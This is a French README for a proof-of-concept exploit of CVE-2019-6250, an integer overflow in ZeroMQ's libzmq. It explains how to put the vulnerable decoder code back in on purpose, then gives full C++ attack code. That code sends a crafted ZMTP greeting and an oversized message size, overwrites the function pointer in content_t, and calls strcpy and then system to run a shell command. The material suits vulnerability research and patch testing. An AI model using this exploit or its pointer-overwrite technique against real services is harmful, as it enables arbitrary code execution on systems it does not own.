
Exploit de preuve de concept pour CVE-2019-6250, démontrant un débordement d'entier dans libzmq de ZeroMQ conduisant à une exécution de code arbitraire via des messages spécialement conçus.
ZeroMQ(ZMQ) est une bibliothèque de messagerie asynchrone haute performance, conçue pour fournir un mécanisme de transmission de messages efficace et flexible pour les environnements de calcul distribués ou parallèles. ZeroMQ propose plusieurs modèles de messagerie (tels que requête-réponse, publication-abonnement, push-pull, proxy, etc.) et prend en charge plusieurs protocoles de transport (TCP, IPC, PGM, etc.). L'objectif de conception de ZeroMQ est de simplifier la programmation réseau et d'améliorer les performances en fournissant des files d'attente de messages efficaces.
libzmq est la bibliothèque d'implémentation principale de ZeroMQ, généralement l'implémentation en C de la bibliothèque ZeroMQ. C'est la concrétisation des fonctionnalités de ZeroMQ, fournissant un support de base pour divers langages de programmation. libzmq implémente toutes les fonctionnalités principales de ZeroMQ et peut être utilisée avec des bindings dans plusieurs langages.
Téléchargez la bibliothèque libzmq
git clone https://github.com/zeromq/libzmq.git
cd libzmq
git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3
L'auteur a corrigé la vulnérabilité. Pour la reproduire, allez dans src/v2_decoder.cpp et modifiez le contenu de la fonction zmq::v2_decoder_t::size_ready par le code suivant :
int zmq::v2_decoder_t::size_ready (uint64_t msg_size_,unsigned char const *read_pos_)
{
int rc = _in_progress.close ();
assert (rc == 0);
// the current message can exceed the current buffer. We have to copy the buffer
// data into a new message and complete it in the next receive.
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_
> (allocator.data () + allocator.size ())))) {
// a new message has started, but the size would exceed the pre-allocated arena
// this happens every time when a message does not fit completely into the buffer
rc = _in_progress.init_size (static_cast<size_t> (msg_size_));
} else {
// construct message using n bytes from the buffer as storage
// increase buffer ref count
// if the message will be a large message, pass a valid refcnt memory location as well
rc =
_in_progress.init (const_cast<unsigned char *> (read_pos_),
static_cast<size_t> (msg_size_),
shared_message_memory_allocator::call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// For small messages, data has been copied and refcount does not have to be increased
if (_in_progress.is_zcmsg ()) {
allocator.advance_content ();
allocator.inc_ref ();
}
}
if (unlikely (rc)) {
errno_assert (errno == ENOMEM);
rc = _in_progress.init ();
errno_assert (rc == 0);
errno = ENOMEM;
return -1;
}
_in_progress.set_flags (_msg_flags);
// this sets read_pos to
// the message data address if the data needs to be copied
// for small message / messages exceeding the current buffer
// or
// to the current start address in the buffer because the message
// was constructed to use n bytes from the address passed as argument
next_step (_in_progress.data (), _in_progress.size (),
&v2_decoder_t::message_ready);
return 0;
}
Installez la bibliothèque libzmq
sudo apt-get install libtool pkg-config build-essential autoconf
automake
./autogen.sh
./configure
make
sudo make install
Téléchargez et installez cppzmq
git clone https://github.com/zeromq/cppzmq
cd cppzmq
cmake .
sudo make -j4 install
Remplacez /demo/main.cpp par le main.cpp de ce dépôt.
Compilez main.cpp
cd demo
mkdir build
cd build
cmake ..
make
./demo
Le contenu suivant de Libzmq/src/v2_decoder.cpp présente un dépassement d'entier. Lorsque la valeur de msg_size_ est très grande, read_pos+msg_size_ devient une valeur très petite, ce qui fait que la condition if est évaluée à false et que le programme n'initialise pas la taille du message.
if (unlikely (!zero_copy
|| ((unsigned char *) read_pos + msg_size_
> (allocator.data () + allocator.size ())))) {
Par conséquent, on peut écraser la mémoire située après le tampon avec le message écrit. La mémoire après le tampon contient une structure content_t qui comprend un pointeur de fonction ffn et les paramètres de fonction data et hint.
67 struct content_t
68 {
69 void *data;
70 size_t size;
71 msg_free_fn *ffn;
72 void *hint;
73 zmq::atomic_counter_t refcnt;
74 };
En contrôlant le message transmis, on peut écraser le pointeur de fonction et ses paramètres avec une fonction et des paramètres spécifiques, permettant ainsi l'attaque.
#include <netinet/in.h>
#include <arpa/inet.h>
#include <zmq.hpp>
#include <string>
#include <iostream>
#include <unistd.h>
#include <thread>
#include <mutex>
class Thread {
public:
Thread() : the_thread(&Thread::ThreadMain, this)
{ }
~Thread(){
}
private:
std::thread the_thread;
void ThreadMain() {
zmq::context_t context (1);
zmq::socket_t socket (context, ZMQ_REP);
socket.bind ("tcp://*:6666");
while (true) {
zmq::message_t request;
// Wait for next request from client
try {
socket.recv (&request);
} catch ( ... ) { }
}
}
};
static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t arg2Addr, const uint64_t funcAddr)
{
int s;
struct sockaddr_in remote_addr = {};
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
abort();
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons(6666);
inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr);
if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct sockaddr)) == -1)
{
abort();
}
const uint8_t greeting[] = {
0xFF, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */
0x01, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */
0x01, /* Selects ZMTP_2_0 in zmq::stream_engine_t::select_handshake_fun */
0x00, /* Unused */
};
send(s, greeting, sizeof(greeting), 0);
const uint8_t v2msg[] = {
0x02, /* v2_decoder_t::eight_byte_size_ready */
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */
};
send(s, v2msg, sizeof(v2msg), 0);
/* Write UNTIL the location of zmq::msg_t::content_t */
size_t plsize = 8183;
uint8_t* pl = (uint8_t*)calloc(1, plsize);
send(s, pl, plsize, 0);
free(pl);
uint8_t content_t_replacement[] = {
/* void* data */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* size_t size */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* msg_free_fn *ffn */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* void* hint */
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
/* Assumes same endianness as target */
memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr));
memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr));
memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr));
/* Overwrite zmq::msg_t::content_t */
send(s, content_t_replacement, sizeof(content_t_replacement), 0);
close(s);
sleep(1);
}
char destbuffer[100];
char srcbuffer[100] = "ping google.com";
int main(void)
{
Thread* rt = new Thread();
sleep(1);
callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer, (uint64_t)strcpy);
callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system);
return 0;
}